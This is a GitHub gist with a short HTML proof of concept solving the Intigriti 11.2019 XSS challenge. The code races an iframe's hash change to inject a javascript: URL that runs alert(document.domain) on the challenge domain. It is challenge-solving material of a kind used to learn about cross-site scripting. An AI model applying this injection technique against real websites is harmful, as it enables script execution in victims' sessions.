Created
November 25, 2019 11:33
-
-
Save radekk/951318d4f7d17658a8586afb2c48c1e9 to your computer and use it in GitHub Desktop.
Intigriti XSS challenge solution 11.2019 - Race Condition
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<iframe id="ifr"></iframe> | |
<script> | |
var ifr = document.getElementById('ifr'); | |
ifr.src = 'https://challenge.intigriti.io/#https://intigriti.io'; | |
ifr.onload = () => { | |
setTimeout(() => { | |
ifr.src = 'https://challenge.intigriti.io/#javascript:alert(document.domain)'; | |
}, 0); | |
} | |
</script> | |
</body> | |
</html> | |
<!-- https://twitter.com/intigriti/status/1196414274584875010 //--> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment